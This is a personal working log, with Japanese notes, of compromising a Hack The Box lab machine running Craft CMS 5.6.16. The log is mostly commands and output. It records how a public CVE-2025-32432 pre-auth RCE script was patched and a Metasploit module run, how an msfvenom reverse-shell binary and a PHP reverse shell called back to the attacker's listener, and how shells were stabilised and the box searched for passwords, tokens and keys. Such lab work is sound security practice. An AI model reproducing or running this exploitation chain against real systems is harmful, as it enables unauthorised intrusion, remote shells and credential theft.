from pkg_resources import DistributionNotFound, VersionConflict
/usr/lib/python3/dist-packages/dirsearch/lib/core/fuzzer.py:280: SyntaxWarning: 'break' in a 'finally' block
break
/usr/lib/python3/dist-packages/pyparsing/core.py:5579: SyntaxWarning: 'return' in a 'finally' block
return f"{type(self).__name__}: {retString}"
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, txt, bak, zip, conf | HTTP method: GET | Threads: 25 | Wordlist size: 11495
Output File: /home/kali/htb/Orion/10.129.62.191/reports/http_orion.htb/_assets_images_26-10-22_23-21-15.txt
Target: http://orion.htb/
[23:21:15] Starting: assets/images/
Task Completed
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
Sign In - Orion Telecom
http://orion.htb/admin/login
⇒Webフォーム認証を発見
フッダー
Craft CMS 5.6.16
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ searchsploit Craft CMS 5.6.16
Exploits: No Results
Shellcodes: No Results
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ searchsploit Craft CMS 5.6
Exploits: No Results
Shellcodes: No Results
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ searchsploit Craft CMS 5
---------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------- ---------------------------------
Craft CMS 2.6 - Cross-Site Scripting | php/webapps/42143.txt
Craft CMS 2.7.9/3.2.5 - Information Disclosure | php/webapps/47343.txt
Craft CMS 3.0.25 - Cross-Site Scripting | php/webapps/46054.txt
Craft CMS 3.1.12 Pro - Cross-Site Scripting | php/webapps/46496.txt
Craft CMS 4.4.14 - Unauthenticated Remote Code Execution | php/webapps/51918.py
Craft CMS SEOmatic plugin 3.1.4 - Server-Side Template Injection | linux/webapps/45108.txt
CraftCMS 3 vCard Plugin 1.0.0 - Remote Code Execution | php/webapps/48492.py
craftercms 4.x.x - CORS | multiple/webapps/51313.txt
---------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
⇒exploitdbが古かった
???
チートシートにupdate方法を追記
???
nmap -sV -sC -p22
ssh -v user@
nmap --script ssh-auth-methods -p22
sshのチートシートは以下に内容を変更して
???
# 1. 基本列挙
nmap -sV -sC -p22 <IP>
# 2. ユーザー名が分かったら
ssh -v user@<IP>
# 3. 必要なら認証方式
nmap --script ssh-auth-methods --script-args="ssh.user=user" -p22 <IP>
# 4. バージョン確認
searchsploit openssh <version>
# 5. credentialを入手したら
ssh user@<IP>
# 6. SSH keyを入手したら
chmod 600 id_rsa
ssh -i id_rsa user@<IP>
ssh -v user@10.129.62.191
nmap --script ssh-auth-methods --script-args="ssh.user=user" -p22 10.129.62.191
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ ssh -v user@10.129.62.191
debug1: OpenSSH_10.0p2 Debian-5, OpenSSL 3.6.4 25 Aug 2026
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Reading configuration data /etc/ssh/ssh_config.d/20-systemd-ssh-proxy.conf
debug1: /etc/ssh/ssh_config line 21: Applying options for *
debug1: Connecting to 10.129.62.191 [10.129.62.191] port 22.
debug1: Connection established.
debug1: identity file /home/kali/.ssh/id_rsa type 0
debug1: identity file /home/kali/.ssh/id_rsa-cert type -1
debug1: identity file /home/kali/.ssh/id_ecdsa type -1
debug1: identity file /home/kali/.ssh/id_ecdsa-cert type -1
debug1: identity file /home/kali/.ssh/id_ecdsa_sk type -1
debug1: identity file /home/kali/.ssh/id_ecdsa_sk-cert type -1
debug1: identity file /home/kali/.ssh/id_ed25519 type -1
debug1: identity file /home/kali/.ssh/id_ed25519-cert type -1
debug1: identity file /home/kali/.ssh/id_ed25519_sk type -1
debug1: identity file /home/kali/.ssh/id_ed25519_sk-cert type -1
debug1: identity file /home/kali/.ssh/id_xmss type -1
debug1: identity file /home/kali/.ssh/id_xmss-cert type -1
debug1: Local version string SSH-2.0-OpenSSH_10.0p2 Debian-5
debug1: Remote protocol version 2.0, remote software version OpenSSH_8.9p1 Ubuntu-3ubuntu0.15
debug1: compat_banner: match: OpenSSH_8.9p1 Ubuntu-3ubuntu0.15 pat OpenSSH* compat 0x04000000
debug1: Authenticating to 10.129.62.191:22 as 'user'
debug1: load_hostkeys: fopen /home/kali/.ssh/known_hosts2: No such file or directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts: No such file or directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts2: No such file or directory
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: algorithm: sntrup761x25519-sha512@openssh.com
debug1: kex: host key algorithm: ssh-ed25519
debug1: kex: server->client cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none
debug1: kex: client->server cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none
debug1: expecting SSH2_MSG_KEX_ECDH_REPLY
debug1: SSH2_MSG_KEX_ECDH_REPLY received
debug1: Server host key: ssh-ed25519 SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY
debug1: load_hostkeys: fopen /home/kali/.ssh/known_hosts2: No such file or directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts: No such file or directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts2: No such file or directory
debug1: hostkeys_find_by_key_hostfile: hostkeys file /home/kali/.ssh/known_hosts2 does not exist
debug1: hostkeys_find_by_key_hostfile: hostkeys file /etc/ssh/ssh_known_hosts does not exist
debug1: hostkeys_find_by_key_hostfile: hostkeys file /etc/ssh/ssh_known_hosts2 does not exist
The authenticity of host '10.129.62.191 (10.129.62.191)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.62.191' (ED25519) to the list of known hosts.
debug1: ssh_packet_send2_wrapped: resetting send seqnr 3
debug1: rekey out after 134217728 blocks
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug1: ssh_packet_read_poll2: resetting read seqnr 3
debug1: SSH2_MSG_NEWKEYS received
debug1: rekey in after 134217728 blocks
debug1: SSH2_MSG_EXT_INFO received
debug1: kex_ext_info_client_parse: server-sig-algs=<ssh-ed25519,sk-ssh-ed25519@openssh.com,ssh-rsa,rsa-sha2-256,rsa-sha2-512,ssh-dss,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,sk-ecdsa-sha2-nistp256@openssh.com,webauthn-sk-ecdsa-sha2-nistp256@openssh.com>
debug1: kex_ext_info_check_ver: publickey-hostbound@openssh.com=<0>
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: Authentications that can continue: publickey,password
debug1: Next authentication method: publickey
debug1: get_agent_identities: bound agent to hostkey
debug1: get_agent_identities: ssh_fetch_identitylist: agent contains no identities
debug1: Will attempt key: /home/kali/.ssh/id_rsa RSA SHA256:vW6KP5kFS1PwAYyta3248zqjaHQyF+98ROqUmxbY3R0
debug1: Will attempt key: /home/kali/.ssh/id_ecdsa
debug1: Will attempt key: /home/kali/.ssh/id_ecdsa_sk
debug1: Will attempt key: /home/kali/.ssh/id_ed25519
debug1: Will attempt key: /home/kali/.ssh/id_ed25519_sk
debug1: Will attempt key: /home/kali/.ssh/id_xmss
debug1: Offering public key: /home/kali/.ssh/id_rsa RSA SHA256:vW6KP5kFS1PwAYyta3248zqjaHQyF+98ROqUmxbY3R0
debug1: Authentications that can continue: publickey,password
debug1: Trying private key: /home/kali/.ssh/id_ecdsa
debug1: Trying private key: /home/kali/.ssh/id_ecdsa_sk
debug1: Trying private key: /home/kali/.ssh/id_ed25519
debug1: Trying private key: /home/kali/.ssh/id_ed25519_sk
debug1: Trying private key: /home/kali/.ssh/id_xmss
debug1: Next authentication method: password
user@10.129.62.191's password:
debug1: Authentications that can continue: publickey,password
Permission denied, please try again.
user@10.129.62.191's password:
debug1: Authentications that can continue: publickey,password
Permission denied, please try again.
user@10.129.62.191's password:
debug1: Authentications that can continue: publickey,password
debug1: No more authentication methods to try.
user@10.129.62.191: Permission denied (publickey,password).
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ nmap --script ssh-auth-methods --script-args="ssh.user=user" -p22 10.129.62.191
Starting Nmap 7.95 ( https://nmap.org ) at 2026-10-24 19:24 JST
Nmap scan report for orion.htb (10.129.62.191)
Host is up (0.51s latency).
PORT STATE SERVICE
22/tcp open ssh
| ssh-auth-methods:
| Supported authentication methods:
| publickey
|_ password
Nmap done: 1 IP address (1 host up) scanned in 1.34 seconds
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
google検索
「CVE-2025-32432」がTOPに出てくる
https://www.exploit-db.com/exploits/52525
searchsploit 52525
searchsploit CVE-2025-32432
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ searchsploit 52525
Exploits: No Results
Shellcodes: No Results
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ CVE-2025-32432
CVE-2025-32432: command not found
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ searchsploit CVE-2025-32432
Exploits: No Results
Shellcodes: No Results
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
⇒searchsploitでexploitでない
exploitdbをアップデートする。
sudo apt update
sudo apt install --only-upgrade exploitdb
⇒チートシートに追加
???
以下は、アップデート後
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ searchsploit -p 52525
Exploit: Craft CMS 5.6.16 - RCE
URL: https://www.exploit-db.com/exploits/52525
Path: /usr/share/exploitdb/exploits/multiple/webapps/52525.py
Codes: CVE-2025-32432
Verified: False
File Type: Python script, Unicode text, UTF-8 text executable
Copied EDB-ID #52525's path to the clipboard
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
⇒チートシートのUpdateにexploitdbも追加
???
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ searchsploit -x 52525
Exploit: Craft CMS 5.6.16 - RCE
URL: https://www.exploit-db.com/exploits/52525
Path: /usr/share/exploitdb/exploits/multiple/webapps/52525.py
Codes: CVE-2025-32432
Verified: False
File Type: Python script, Unicode text, UTF-8 text executable
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ searchsploit -m 52525
Exploit: Craft CMS 5.6.16 - RCE
URL: https://www.exploit-db.com/exploits/52525
Path: /usr/share/exploitdb/exploits/multiple/webapps/52525.py
Codes: CVE-2025-32432
Verified: False
File Type: Python script, Unicode text, UTF-8 text executable
Copied to: /home/kali/htb/Orion/10.129.62.191/52525.py
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
└─$ python 52525.py
=== CVE-2025-32432 - Craft CMS Pre-Auth RCE Exploit ===
usage: 52525.py [-h] -u URL -c CMD [-a ASSET] [-s SCAN_MAX]
52525.py: error: the following arguments are required: -u/--url, -c/--cmd
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ python 52525.py -u http://orion.htb/ -c whoami
=== CVE-2025-32432 - Craft CMS Pre-Auth RCE Exploit ===
[-] Failed to obtain PHPSESSID
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ python 52525.py -u http://orion.htb/admin/login -c whoami
=== CVE-2025-32432 - Craft CMS Pre-Auth RCE Exploit ===
[-] Failed to obtain PHPSESSID
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
⇒「[-] Failed to obtain PHPSESSID」
burpで以下を確認。
Cookie: CraftSessionId=ice8bt8frstcdpdpjapfjmp22s; CRAFT_CSRF_TOKEN=3cecdf34d7dfc4cb59980eda69e3b45ebe52ad3f9ab639ec934e5151cc258612a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22KzjLq6zOwpOp7yZzzP_a1iQZtH_ImJ4kMIwIK-1x%22%3B%7D
CraftSessionId
CRAFT_CSRF_TOKEN
exploitの一部を修正
PHPSESSID⇒CraftSessionId
⇒結果変わらず
⇒「[-] Failed to obtain PHPSESSID」
以下をwgetするには?
https://github.com/TheMursalin/CVE-2025-32432/blob/main/exploit.py
↓↓↓
wget https://raw.githubusercontent.com/TheMursalin/CVE-2025-32432/main/exploit.py
rawが増えて、blobが消える
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ wget https://raw.githubusercontent.com/TheMursalin/CVE-2025-32432/main/exploit.py
--2026-10-23 00:05:44-- https://raw.githubusercontent.com/TheMursalin/CVE-2025-32432/main/exploit.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8850 (8.6K) [text/plain]
Saving to: ‘exploit.py’
exploit.py 100%[=========================================>] 8.64K --.-KB/s in 0.002s
2026-10-23 00:05:44 (4.36 MB/s) - ‘exploit.py’ saved [8850/8850]
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ python exploit.py -u http://orion.htb/ -c id
=== CVE-2025-32432 – Craft CMS Pre-Auth RCE Exploit ===
00:06:27 [ERROR] Could not retrieve PHPSESSID cookie.
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ python exploit.py -u http://orion.htb -c id
=== CVE-2025-32432 – Craft CMS Pre-Auth RCE Exploit ===
00:06:32 [ERROR] Could not retrieve PHPSESSID cookie.
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
やっぱ、うまくいなかない
さらにPoC修正
r = session.get(f"{base_url}/index.php", verify=False, timeout=10)
↓
r = session.get(f"{base_url}/admin/login", verify=False, timeout=10)
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ python 52525.py -u http://orion.htb/ -c whoami
=== CVE-2025-32432 - Craft CMS Pre-Auth RCE Exploit ===
[+] Obtained CraftSessionId: hpp537i13km49j610jp762d6tl
[*] Brute-forcing Asset ID (best-effort)...
[+] Potential valid Asset ID found: 1 (HTTP 400)
[+] Using Asset ID: 1
[+] Session poisoning request sent successfully
[*] Waiting for session file to be written...
[*] Triggering command execution: whoami
[+] Server response:
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8"/>
<title>400 Bad Request</title>
<style type="text/css">
/* reset */
html,body,div,span,h1,h2,h3,h4,h5,h6,p,pre,a,code,em,img,strong,b,i,ul,li{
margin: 0;
padding: 0;
border: 0;
font-size: 100%;
font: inherit;
vertical-align: baseline;
}
body{
line-height: 1;
}
ul{
list-style: none;
}
/* base */
a{
text-decoration: none;
}
a:hover{
text-decoration: underline;
}
h1,h2,h3,p,img,ul li{
font-family: Arial,sans-serif;
color: #505050;
}
/*corresponds to min-width of 860px for some elements (.header .footer .element ...)*/
@media screen and (min-width: 960px) {
html,body{
overflow-x: hidden;
}
}
/* header */
.header{
min-width: 860px; /* 960px - 50px * 2 */
margin: 0 auto;
background: #f3f3f3;
padding: 40px 50px 30px 50px;
border-bottom: #ccc 1px solid;
}
.header h1{
font-size: 30px;
color: #e57373;
margin-bottom: 30px;
}
.header h1 span, .header h1 span a{
color: #e51717;
}
.header h1 a{
color: #e57373;
}
.header h1 a:hover{
color: #e51717;
}
.header img.erroricon{
float: right;
margin-top: -15px;
margin-left: 50px;
}
.header .tools{
float: right;
}
.header .tools a {
border-radius: 5px;
width: 25px;
text-align: center;
margin-right: 7px;
}
.header .tools a,
.header .tools span{
display: block;
float: left;
height: 25px;
padding: 5px;
}
.header .tools span{
display: none;
}
.header .tools a:hover{
background: #fff;
text-decoration: none;
}
.header .tools a:active img{
position: relative;
left: 2px;
top: 2px;
}
.header .tools textarea{
position: absolute;
top: -500px;
right: 300px;
width: 750px;
height: 150px;
}
.header h2{
font-size: 20px;
line-height: 1.25;
}
.header pre{
margin: 10px 0;
overflow-y: scroll;
font-family: Courier, monospace;
font-size: 14px;
}
/* previou
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
⇒HTTP 400
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ searchsploit Craft CMS 5.6.16
---------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------- ---------------------------------
Craft CMS 5.6.16 - RCE | multiple/webapps/52525.py
---------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
metasploitで試す
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ msfconsole
Metasploit tip: Use the resource command to run commands from a file
.,,. .
.\$$$L..,,==aaccaacc%#s$b. d8, d8P
d8P #$$$$$$$$$$$$$$b. `BP d888888p
d888888P '7$$\""""''^^`` .7$$|D*"'``` ?88'
d8bd8b.d8p d8888b ?88' d888b8b _.os#$|8*"` d8P ?8b 88P
88P`?P'?P d8b_,dP 88P d8P' ?88 .oaS###S*"` d8P d8888b $whi?88b 88b
d88 d8 ?8 88b 88b 88b ,88b .osS$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$Q*"` `?88' ?88 ?88 88b d88 d88
.a#$$$"` 88b d8P 88b`?8888P'
,s$$$$"` 888888P' 88n _.,,,ass;:
.a$$$$P` d88P' .,.ass%#S$$$$$$$'
.a$###$$P` _.,,-aqsc#SS$$$$$$$$$$$$$'
,a$###$P` _.,-ass#S$$$$$$$$$$$$$$$$####SSSS'
.a$$$$$SSS$$$$$$$$$$$$$$SS##==--""''^^/$$$'
_______________________________________________________________ ,&$$$'_____
ll&&$$'
.;;lll&&&&'
...;;lllll&'
......;;;llll;;;....
` ......;;;;... . .
=[ metasploit v6.4.64-dev ]
+ -- --=[ 2519 exploits - 1296 auxiliary - 431 post ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
sea[*] Starting persistent handler(s)...
msf6 > search cve:2025-32432
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 2025-04-14 excellent Yes Craft CMS Image Transform Preauth RCE (CVE-2025-32432)
1 \_ target: PHP In-Memory . . . .
2 \_ target: Unix/Linux Command Shell . . . .
Interact with a module by name or index. For example info 2, use 2 or use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
After interacting with a module you can manually set a TARGET with set TARGET 'Unix/Linux Command Shell'
msf6 > use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > show options
Module options (exploit/linux/http/craftcms_preauth_rce_cve_2025_32432):
Name Current Setting Required Description
---- --------------- -------- -----------
ASSET_ID 82 yes Existing asset ID
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metas
ploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.16.253.143 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 PHP In-Memory
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set LHOST 10.10.15.222
LHOST => 10.10.15.222
msf6 exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > show options
Module options (exploit/linux/http/craftcms_preauth_rce_cve_2025_32432):
Name Current Setting Required Description
---- --------------- -------- -----------
ASSET_ID 82 yes Existing asset ID
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metas
ploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.15.222 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 PHP In-Memory
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set RHOSTS 10.129.62.191
RHOSTS => 10.129.62.191
msf6 exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set VHOST orion.htb
VHOST => orion.htb
msf6 exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > run
[*] Started reverse TCP handler on 10.10.15.222:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Leaked session.save_path: /var/lib/php/sessions
[+] The target is vulnerable. Session path leaked
[*] Injecting stub & triggering payload...
[*] Sending stage (40004 bytes) to 10.129.62.191
[*] Meterpreter session 1 opened (10.10.15.222:4444 -> 10.129.62.191:46448) at 2026-10-23 07:40:22 +0900
whoami
meterpreter >
meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.
meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.
meterpreter >
moduleのrankがexcellent
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : orion
OS : Linux orion 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64
Meterpreter : php/linux
meterpreter > getsystem
[-] The "getsystem" command requires the "priv" extension to be loaded (run: `load priv`)
meterpreter > getsystem
[-] The "getsystem" command requires the "priv" extension to be loaded (run: `load priv`)
meterpreter >
⇒Linuxではgetsystemは使えない
msfvenomして
uploadして
5555でshellとる。
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.15.222 LPORT=5555 -f elf -o shell.elf
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.15.222 LPORT=5555 -f elf -o shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: shell.elf
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
meterpreter > upload shell.elf
[*] Uploading : /home/kali/htb/Orion/10.129.62.191/shell.elf -> shell.elf
[*] Uploaded -1.00 B of 194.00 B (-0.52%): /home/kali/htb/Orion/10.129.62.191/shell.elf -> shell.elf
[*] Completed : /home/kali/htb/Orion/10.129.62.191/shell.elf -> shell.elf
meterpreter > ls
Listing: /var/www/html/craft/web
================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100664/rw-rw-r-- 283 fil 2025-11-19 02:08:05 +0900 .htaccess
040755/rwxr-xr-x 4096 dir 2026-03-06 21:12:57 +0900 assets
040775/rwxrwxr-x 4096 dir 2026-10-22 23:10:45 +0900 cpresources
100644/rw-r--r-- 9689 fil 2026-03-06 21:12:57 +0900 index.html
100664/rw-rw-r-- 258 fil 2025-11-19 02:08:05 +0900 index.php
100644/rw-r--r-- 194 fil 2026-10-23 07:48:01 +0900 shell.elf
meterpreter > shell
Process 3622 created.
Channel 2 created.
ls
assets
cpresources
index.html
index.php
shell.elf
./shell.elf
/bin/sh: 3: ./shell.elf: Permission denied
chmod u+x shell.elf
./shell.elf
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.15.222] from (UNKNOWN) [10.129.62.191] 59590
whoami
www-data
pwd
/var/www/html/craft/web
⇒リバシェはとれたけど、phpのリバシェでもいいかも
echo '' > phpinfo.php
⇒phpでもいける
https://www.revshells.com/
PHP Ivan Sincek
nc -lvnp 9001
curl http://orion.htb/rev.php
shell安定化
python -c 'import pty; pty.spawn("/bin/bash")'
pythonがなければ
script -qc /bin/bash /dev/null
stty raw -echo; fg
stty size
export TERM=xterm-256color
stty rows 38 columns 116
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.15.222] from (UNKNOWN) [10.129.62.191] 45686
SOCKET: Shell has connected! PID: 1436
whoami
www-data
python -c 'import pty; pty.spawn("/bin/bash")'
sh: 3: python: not found
script -qc /bin/bash /dev/null
www-data@orion:~/html/craft/web$ script -qc /bin/bash /dev/null
script -qc /bin/bash /dev/null
www-data@orion:~/html/craft/web$ ^[[Dstty size
stty size
0 0
www-data@orion:~/html/craft/web$ stty size
stty size
0 0
www-data@orion:~/html/craft/web$ export TERM=xterm-256color
export TERM=xterm-256color
www-data@orion:~/html/craft/web$ stty rows 38 columns 116
stty rows 38 columns 116
www-data@orion:~/html/craft/web$
侵入できた(Linux)
id
sudo -l
find / -name local.txt -o -name proof.txt 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
ss -lntup
credentialを探す。
grep -RniE "pass|password|passwd|pwd|secret|token|key" /var/www /opt /home 2>/dev/null
↓↓↓
grep -RniE --color "pass|password|passwd|pwd|secret|token|key" /var/www /opt /home 2>/dev/null
⇒チートシートを修正
find /home -name "id_rsa" -o -name ".kdbx" -o -name ".bak" -o -name "*.zip" 2>/dev/null
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.15.222] from (UNKNOWN) [10.129.62.191] 45686
SOCKET: Shell has connected! PID: 1436
whoami
www-data
python -c 'import pty; pty.spawn("/bin/bash")'
sh: 3: python: not found
script -qc /bin/bash /dev/null
www-data@orion:~/html/craft/web$ script -qc /bin/bash /dev/null
script -qc /bin/bash /dev/null
www-data@orion:~/html/craft/web$ stty size
stty size
0 0
www-data@orion:~/html/craft/web$ export TERM=xterm-256color
export TERM=xterm-256color
www-data@orion:~/html/craft/web$ stty rows 38 columns 116
stty rows 38 columns 116
www-data@orion:~/html/craft/web$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@orion:~/html/craft/web$ sudo -l
sudo -l
[sudo] password for www-data:
Sorry, try again.
[sudo] password for www-data:
Sorry, try again.
[sudo] password for www-data:
sudo: 3 incorrect password attempts
www-data@orion:~/html/craft/web$ find / -name local.txt -o -name proof.txt 2>/dev/null
find / -name local.txt -o -name proof.txt 2>/dev/null
www-data@orion:~/html/craft/web$ getcap -r / 2>/dev/null
getcap -r / 2>/dev/null
/snap/snapd/25577/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p
/snap/core20/1822/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin,cap_sys_resource=p
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
www-data@orion:~/html/craft/web$
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.15.222] from (UNKNOWN) [10.129.62.191] 60086
SOCKET: Shell has connected! PID: 1640
script -qc /bin/bash /dev/null
www-data@orion:~/html/craft/web$ stty raw -echo; fg
stty raw -echo; fg
bash: fg: current: no such job
www-data@orion:~/html/craft/web$ stty size
0 0
www-data@orion:~/html/craft/web$ export TERM=xterm-256color
www-data@orion:~/html/craft/web$ stty rows 38 columns 116
www-data@orion:~/html/craft/web$ grep -RniE --color "pass|password|passwd|pwd|secret|token|key" /var/www /opt /home 2>/dev/null
/var/www/html/craft/storage/runtime/compiled_templates/bc/bcd323b69517163233f8a665c85ba5f6.php:48: $context["showResetPassword"] = (($context["showResetPassword"]) ?? (false));
/var/www/html/craft/storage/runtime/compiled_templates/bc/bcd323b69517163233f8a665c85ba5f6.php:57: $context["generalConfig"] = craft\helpers\Template::attribute($this->env, $this->source, craft\helpers\Template::attribute($this->env, $this->source, craft\helpers\Template::attribute($this->env, $this->source, (isset($context["craft"]) || array_key_exists("craft", $context) ? $context["craft"] : (function () { throw new RuntimeError('Variable "craft" does not exist.', 7, $this->source); })()), "app", [], "any", false, false, false, 7), "config", [], "any", false, false, false, 7), "general", [], "any", false, false, false, 7);
/var/www/html/craft/storage/runtime/compiled_templates/bc/bcd323b69517163233f8a665c85ba5f6.php:59: $context["username"] = (($context["staticEmail"]) ?? (((craft\helpers\Template::attribute($this->env, $this->source, (isset($context["generalConfig"]) || array_key_exists("generalConfig", $context) ? $context["generalConfig"] : (function () { throw new RuntimeError('Variable "generalConfig" does not exist.', 8, $this->source); })()), "rememberUsernameDuration", [], "any", false, false, false, 8)) ? (craft\helpers\Template::attribute($this->env, $this->source, craft\helpers\Template::attribute($this->env, $this->source, craft\helpers\Template::attribute($this->env, $this->source, (isset($context["craft"]) || array_key_exists("craft", $context) ? $context["craft"] : (function () { throw new RuntimeError('Variable "craft" does not exist.', 8, $this->source); })()), "app", [], "any", false, false, false, 8), "user", [], "any", false, false, false, 8), "getRememberedUsername", [], "method", false, false, false, 8)) : (""))));
